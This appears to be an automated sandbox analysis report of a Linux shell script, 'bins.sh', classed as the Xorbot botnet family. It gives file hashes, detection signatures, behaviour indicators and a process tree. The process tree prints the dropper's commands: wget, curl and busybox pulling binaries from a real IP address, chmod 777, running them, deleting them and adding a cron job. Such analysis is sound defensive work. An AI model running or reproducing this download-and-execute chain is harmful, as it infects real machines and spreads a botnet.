Analysis
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max time kernel
149s -
max time network
147s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
28/02/2025, 11:21
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
8665f2af69fbd363509207dc0486225c
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SHA1
7d3257b493a353a934f65a5ec649dc6a2d5d229e
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SHA256
1955d746164824980d26e30bf407060921504888edd33ed9ca28b3459cebe74f
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SHA512
3e87c838ab67e90e549806a34068ad98ec46c2ef0f4fa83a534b4213a9fc55213a113c65e4c51fdc8ba37b48c9842dc14c4afca93db68fac4ebc8ff0fa719986
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SSDEEP
96:qTHZI3vuRUqEro4BGjmMqw4qwqPKfsV9w4qwqPKnbsVLuQq/THJ+3//ro4BGjm5z:iI3v6UqEgzx+PLQBQ
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot behavioral1/files/fstream-5.dat family_xorbot behavioral1/files/fstream-7.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1532 chmod 1539 chmod 1546 chmod 1525 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx 1526 bins.sh /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq 1533 bins.sh /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh 1540 bins.sh /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN 1547 bins.sh -
Renames itself 1 IoCs
pid Process 1548 bins.sh -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.fy8713 crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1634/cmdline bins.sh File opened for reading /proc/1653/cmdline bins.sh File opened for reading /proc/1654/cmdline bins.sh File opened for reading /proc/16/cmdline bins.sh File opened for reading /proc/80/cmdline bins.sh File opened for reading /proc/1515/cmdline bins.sh File opened for reading /proc/1586/cmdline bins.sh File opened for reading /proc/11/cmdline bins.sh File opened for reading /proc/1116/cmdline bins.sh File opened for reading /proc/1141/cmdline bins.sh File opened for reading /proc/1184/cmdline bins.sh File opened for reading /proc/1630/cmdline bins.sh File opened for reading /proc/98/cmdline bins.sh File opened for reading /proc/1650/cmdline bins.sh File opened for reading /proc/1665/cmdline bins.sh File opened for reading /proc/17/cmdline bins.sh File opened for reading /proc/974/cmdline bins.sh File opened for reading /proc/1162/cmdline bins.sh File opened for reading /proc/1165/cmdline bins.sh File opened for reading /proc/1571/cmdline bins.sh File opened for reading /proc/1621/cmdline bins.sh File opened for reading /proc/1622/cmdline bins.sh File opened for reading /proc/168/cmdline bins.sh File opened for reading /proc/263/cmdline bins.sh File opened for reading /proc/323/cmdline bins.sh File opened for reading /proc/993/cmdline bins.sh File opened for reading /proc/174/cmdline bins.sh File opened for reading /proc/184/cmdline bins.sh File opened for reading /proc/568/cmdline bins.sh File opened for reading /proc/1036/cmdline bins.sh File opened for reading /proc/1264/cmdline bins.sh File opened for reading /proc/1562/cmdline bins.sh File opened for reading /proc/531/cmdline bins.sh File opened for reading /proc/1512/cmdline bins.sh File opened for reading /proc/1651/cmdline bins.sh File opened for reading /proc/1663/cmdline bins.sh File opened for reading /proc/27/cmdline bins.sh File opened for reading /proc/1069/cmdline bins.sh File opened for reading /proc/1560/cmdline bins.sh File opened for reading /proc/25/cmdline bins.sh File opened for reading /proc/1022/cmdline bins.sh File opened for reading /proc/698/cmdline bins.sh File opened for reading /proc/1564/cmdline bins.sh File opened for reading /proc/1594/cmdline bins.sh File opened for reading /proc/1660/cmdline bins.sh File opened for reading /proc/8/cmdline bins.sh File opened for reading /proc/465/cmdline bins.sh File opened for reading /proc/495/cmdline bins.sh File opened for reading /proc/952/cmdline bins.sh File opened for reading /proc/1092/cmdline bins.sh File opened for reading /proc/1624/cmdline bins.sh File opened for reading /proc/1631/cmdline bins.sh File opened for reading /proc/1169/cmdline bins.sh File opened for reading /proc/1182/cmdline bins.sh File opened for reading /proc/1187/cmdline bins.sh File opened for reading /proc/1279/cmdline bins.sh File opened for reading /proc/1297/cmdline bins.sh File opened for reading /proc/1517/cmdline bins.sh File opened for reading /proc/1638/cmdline bins.sh File opened for reading /proc/1652/cmdline bins.sh File opened for reading /proc/1568/cmdline bins.sh File opened for reading /proc/1578/cmdline bins.sh File opened for reading /proc/964/cmdline bins.sh File opened for reading /proc/1553/cmdline bins.sh -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx busybox File opened for modification /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq wget File opened for modification /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq busybox File opened for modification /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh wget File opened for modification /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN wget File opened for modification /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN curl File opened for modification /tmp/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN busybox File opened for modification /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx wget File opened for modification /tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx curl File opened for modification /tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq curl File opened for modification /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh curl File opened for modification /tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1517 -
/bin/rm/bin/rm bins.sh2⤵PID:1518
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/usr/bin/wgetwget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- Writes file to tmp directory
PID:1519
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/usr/bin/curlcurl -O http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- Writes file to tmp directory
PID:1523
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- Writes file to tmp directory
PID:1524
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/bin/chmodchmod 777 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵
- File and Directory Permissions Modification
PID:1525
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/tmp/6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx./6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵PID:1526
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/bin/rmrm 6me8L28qp8ZMXxRxrvwNjMhj066PYl9ckx2⤵PID:1528
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/usr/bin/wgetwget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- Writes file to tmp directory
PID:1529
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/usr/bin/curlcurl -O http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- Writes file to tmp directory
PID:1530
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- Writes file to tmp directory
PID:1531
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/bin/chmodchmod 777 tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵
- File and Directory Permissions Modification
PID:1532
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/tmp/tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq./tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵PID:1533
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/bin/rmrm tylUfEdLd2Ho2FuUE0FT8yrYykEPgRIIQq2⤵PID:1535
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/usr/bin/wgetwget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- Writes file to tmp directory
PID:1536
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/usr/bin/curlcurl -O http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- Writes file to tmp directory
PID:1537
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- Writes file to tmp directory
PID:1538
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/bin/chmodchmod 777 j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵
- File and Directory Permissions Modification
PID:1539
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/tmp/j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh./j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵PID:1540
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/bin/rmrm j7YkHCn9eenbdEJjjSe4RAXf34IgXaWdQh2⤵PID:1542
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/usr/bin/wgetwget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- Writes file to tmp directory
PID:1543
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/usr/bin/curlcurl -O http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- Writes file to tmp directory
PID:1544
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- Writes file to tmp directory
PID:1545
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/bin/chmodchmod 777 jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵
- File and Directory Permissions Modification
PID:1546
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/usr/bin/crontabcrontab -l2⤵PID:1550
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1552
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/bin/rmrm jt9jGRCBvs5W4HfojuNQa26eGDclv8ZsGN2⤵PID:1554
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/usr/bin/wgetwget http://37.44.238.88/bins/Lh2XFnF0IQ4hRp0Ecm8nGBqLKD7wLDvUo72⤵PID:1557
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
210B
MD57fbb04bbd1502cc52f018ee12e790084
SHA142b0f44e739511ca6181265cb91bdac50e5fe698
SHA256cc28e382f9f89e28b6399167bc564a98f9f3faf13ef49ea12114ae1eac733a9c
SHA512544c2b5e730191966cc81c31b8854ca87fbcc05d1b83388ccdc66b71e829ee8be8742b15061b0e78de310a871960a073249328d101ece1d4598dc404bedd7e90